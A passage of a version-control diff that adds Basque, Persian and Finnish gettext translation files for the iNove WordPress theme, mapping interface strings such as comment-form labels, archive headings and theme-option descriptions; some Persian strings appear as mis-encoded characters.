+msgstr "%s Ongi Etorria berriro." + +#: comments.php:158 +msgid "Change »" +msgstr "Aldatu »" + +#: comments.php:159 +msgid "Close »" +msgstr "Itxi »" + +#: comments.php:166 +msgid "Name" +msgstr "Izena" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(beharrezkoa)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-posta (ez da publikoa izango)" + +#: comments.php:174 +msgid "Website" +msgstr "Webgunea" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Iruzkinen jariora harpidetu" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Iruzkina bidali" + +#: footer.php:17 +msgid "Top" +msgstr "Gora" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "NeoEase(e)k egidako itxura. XHTML 1.1 eta CSS 3 zuzenak." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Uneko itxuraren aukerak" + +#: functions.php:194 +msgid "Search" +msgstr "Bilatu" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Googleen bilaketa motore pertsonalizatua erabiltzen." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Menubar" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Orrialdeak menu gisa erakutsi." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Atalak menu gisa erakutsi." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Oharra" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML gaituta" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Ohar-barra hau orrialde nagusian bidalketaren goiko partean ikusiko da." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Nork ikus dezake?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Erregistratutako erabiltzaileak" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Iruzkingile" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Bisitariak" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Kartela" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Kartel hau albo-barraren goiko partan ikusiko da." + +#: functions.php:329 +msgid "Title:" +msgstr "Izenburua:" + +#: functions.php:345 +msgid "Posts" +msgstr "Bidalketak" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Egilea bidalketetan erakutsi." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Atalak bidalketetan erakutsi." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Etiketak bidalketetan erakutsi." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Jarioa" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Pertsonalizatutako jarioa." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Eposta jarioa." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Aldaketak gorde" + +#: functions.php:567 +msgid "Reply" +msgstr "Erantzun" + +#: functions.php:568 +msgid "Quote" +msgstr "Aipatu" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Edizio aurreratua" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Zure iruzkina moderazioaren zain dago." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Loturak aldatu" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Blog honetara harpidetu..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Harpidetu honela" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Blog honetara eposta bidez harpidetu..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Eposta jarioa" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Orrialde nagusira joan" + +#: single.php:7 +msgid "Home" +msgstr "Orrialde nagusia" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/fa_IR.mo Binary file web/wp-content/themes/inove/languages/fa_IR.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/fa_IR.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/fa_IR.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,567 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:45+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: Farzad Sagharchi\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Persian\n" +"X-Poedit-KeywordsList: __;_e\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "پیگیری نوشته ها با RSS" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "پیگیری دیدگاه ها با RSS" + +#: 404.php:22 +msgid "Talker" +msgstr "سخنگو" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "خطای Û´Û°Û´ - پیدا نشد" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "" + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "" + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "بازگشت به خانه »" + +#: archive.php:10 +msgid "Search Results" +msgstr "دست آورد جستجو" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "کلمه ÛŒ کلیدی: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "بایگانی" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "بایگانی برای دسته ÛŒ ‘%1$s’ " + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "نوشته های برچسب زده شده ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "بایگانی %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j F Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F" + +#: archive.php:31 +msgid "Y" +msgstr "" + +#: archive.php:34 +msgid "Author Archive" +msgstr "بایگانی نویسنده" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "بایگانی وبلاگ" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "ویرایش" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "بدون دیدگاه" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 دیدگاه" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% دیدگاه" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "ادامه ÛŒ نوشته" + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "ببخشید، نوشته‌ای برای جست‌وجوی شما پیدا نشد." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "نوشته ÛŒ پسین" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "نوشته ÛŒ پیشین" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "دیدگاهتان را بنویسید" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "دیدگاه های این نوشته" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "برای دیدن دیدگاه ها گذرواژه خود را وارد کنید." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "دیدگاه ها" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "بازتاب ها" + +#: comments.php:34 +msgid "Trackback" +msgstr "بازتاب" + +#: comments.php:58 +msgid "No comments yet." +msgstr "بدون دیدگاه" + +#: comments.php:72 +msgid "Comment pages" +msgstr "برگه نظرات" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s در %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "بدون بازتاب" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "دیدگاه ها مسدود است." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "برای ÙØ±Ø³ØªØ§Ø¯Ù† دیدگاه بایدوارد شوید." + +#: comments.php:150 +msgid "Logged in as" +msgstr "وارد شده با عنوان" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "خروج از این حساب" + +#: comments.php:151 +msgid "Logout »" +msgstr "خروج »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "خوش اومدی %s." + +#: comments.php:158 +msgid "Change »" +msgstr "تغییر »" + +#: comments.php:159 +msgid "Close »" +msgstr "بستن »" + +#: comments.php:166 +msgid "Name" +msgstr "نام" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(لازم)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "پست الکترونیک (پنهان می‌شود)" + +#: comments.php:174 +msgid "Website" +msgstr "سایت" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "آبونه ÛŒ خوراک دیدگاه ها شوید" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Ø¨ÙØ±Ø³Øª" + +#: footer.php:17 +msgid "Top" +msgstr "بالا" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Ú©Ù¾ÛŒ رایت © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "" + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "تنظیمات پوسته ÛŒ کنونی" + +#: functions.php:194 +msgid "Search" +msgstr "جستجو" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Ø§Ø³ØªÙØ§Ø¯Ù‡ از google custom search engine." + +#: functions.php:201 +msgid "CX:" +msgstr "" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "" + +#: functions.php:213 +msgid "Menubar" +msgstr "نوار Ùهرست" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "نمایش Ùهرست وار برگه ها" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "نمایش Ùهرست وار دسته ها" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "اعلام" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML ÙØ¹Ø§Ù„" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "این اعلام در بالای نوشته های ØµÙØ­Ù‡ ÛŒ نخست نمایش داده Ù…ÛŒ شود." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Ú†Ù‡ کسانی اجازه دارند ببینند ØŸ" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "اعضای ثبت شده" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "نظر دهندگان" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "بازدیدکنندگان" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "جعبه نمایش" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "این جعبه ÛŒ نمایش در بالای سایدبار نشان داده Ù…ÛŒ شود." + +#: functions.php:329 +msgid "Title:" +msgstr "عنوان" + +#: functions.php:345 +msgid "Posts" +msgstr "نوشته ها" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "نویسنده این نوشته" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "دسته های این نوشته" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "برچسب های این نوشته" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "خوراک" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "خوراک پیش ÙØ±Ø¶." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "پیوند: " + +#: functions.php:396 +msgid "Email feed." +msgstr "خوراک ایمیلی." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "ذخیره تغییرات" + +#: functions.php:567 +msgid "Reply" +msgstr "پاسخ" + +#: functions.php:568 +msgid "Quote" +msgstr "نقل قول" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "ویرایش Ù¾ÛŒØ´Ø±ÙØªÙ‡" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "دیدگاه شما پس از تائید مدیر سایت نمایش داده Ù…ÛŒ شود." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "ویرایش لینک ها" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "آبونه ÛŒ این وبلاگ شوید..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "اشتراک با" + +#: sidebar.php:28 +msgid "Google" +msgstr "" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "با ایمیل آبونه شوید..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "خانه" + +#: single.php:7 +msgid "Home" +msgstr "خانه" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/fi.mo Binary file web/wp-content/themes/inove/languages/fi.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/fi.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/fi.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,569 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:45+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - kaikki artikkelit" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - kaikki kommentit" + +#: 404.php:22 +msgid "Talker" +msgstr "Puhuja" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Tervetuloa 404-virhesivulle!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Tervetuloa mukautetulle virhesivulle. Päädyit tänne, koska klikkasit virheellistä linkkiä. Luultavasti vika on meissä... mutta sen sijaan, että näyttäisimme tavallisen 'virhe 404' sivun, joka olisi parhaimmillaankin hämmentävä, loimme tämän sivun selittääksemme mikä meni pieleen." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Voit joko (a) painaa selaimesi takaisin-painiketta ja yrittää löytää etsimäsi muuta kautta, tai (b) klikata seuraavaa linkkiä päästäksesi etusivulle." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Palaa etusivulle »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Hakutulokset" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Hakusana: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Arkisto" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Aiheesta ‘%1$s’ kirjoitetut artikkelit" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Artikkelit jotka on merkitty avansanalla ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Artikkelit ajalta %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Kirjoittajan arkisto" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Blogin arkistot" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Muokkaa" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Ei kommentteja" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 kommentti" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% kommenttia" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "Kommentointi on suljettu" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Lue lisää..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "Aiheet:" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "Avainsanat:" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Hakuehtoja vastaavia artikkeleita ei valitettavasti löytynyt." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Uudemmat artikkelit" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Vanhemmat artikkelit" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Jätä kommentti" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Katso kommentit" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Syötä salasana nähdäksesi kommentit." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Kommentit" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Paluuviitteet" + +#: comments.php:34 +msgid "Trackback" +msgstr "Paluuviite" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Ei komnentteja" + +#: comments.php:72 +msgid "Comment pages" +msgstr "Kommenttisivut" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Ei paluuviitteitä. " + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Kommentointi on suljettu." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Kirjaudu sisään kommentoidaksesi." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Kirjautuneena sisään" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Kirjaudu ulos" + +#: comments.php:151 +msgid "Logout »" +msgstr "Kirjaudu ulos »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Tervetuloa takaisin %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Valitse »" + +#: comments.php:159 +msgid "Close »" +msgstr "Sulje »" + +#: comments.php:166 +msgid "Name" +msgstr "Nimi" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(vaaditaan)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "Sähköposti (ei julkaista)" + +#: comments.php:174 +msgid "Website" +msgstr "Kotisivu" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Tilaa kommenttien syöte" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Lähetä" + +#: footer.php:17 +msgid "Top" +msgstr "Alkuun" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Kaikki oikeudet pidätetään © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Teeman tehnyt NeoEase. Validiudet: XHTML 1.1 ja CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Teeman asetukset" + +#: functions.php:194 +msgid "Search" +msgstr "Haku" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Käytä Googlen täsmähakua." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Etsi name=\"cx\" hakukentän koodista Googlen täsmähausta ja kirjoita arvo tähän.
    Esimerkki: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Valikkorivi" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Näytä sivut valikkona." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Näytä aiheet valikkona." + +#: functions.php:231 +msgid "Sidebar" +msgstr "Sivupalkki" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Ilmoitus" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML sallittu" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Tämä ilmoitus näytetään yläpalkissa etusivulla." + +#: functions.php:270 +msgid "Banner" +msgstr "Banneri" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "Tämä banneri näkyy yläpalkin oikealla puolella. (korkeus: 60 pikseliä)" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Kuka näkee?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Rekistöröityneet käyttäjät" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Kommentoija" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Vieraat" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Näyteikkuna" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Tämä näyteikkuna näkyy sivupalkin yläosassa." + +#: functions.php:329 +msgid "Title:" +msgstr "Otsikko:" + +#: functions.php:345 +msgid "Posts" +msgstr "Artikkelit" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Näytä kirjoittaja artikkeleissa." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Näytä aiheet artikkeleissa." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Näytä avainsanat artikkeleissa." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "Salli kommenttien lähetys näillä pikanäppäimillä Ctrl+Enter." + +#: functions.php:381 +msgid "Feed" +msgstr "Syöte" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Näytä syötteenlukijalista, kun hiiri tuodaan syöte-painikkeen päälle." + +#: functions.php:390 +msgid "Custom feed." +msgstr "Muokkautettu syöte." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Sähköpostisyöte." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Tallenna asetukset" + +#: functions.php:567 +msgid "Reply" +msgstr "Vastaa" + +#: functions.php:568 +msgid "Quote" +msgstr "Lainaa" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Muokkaa" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr 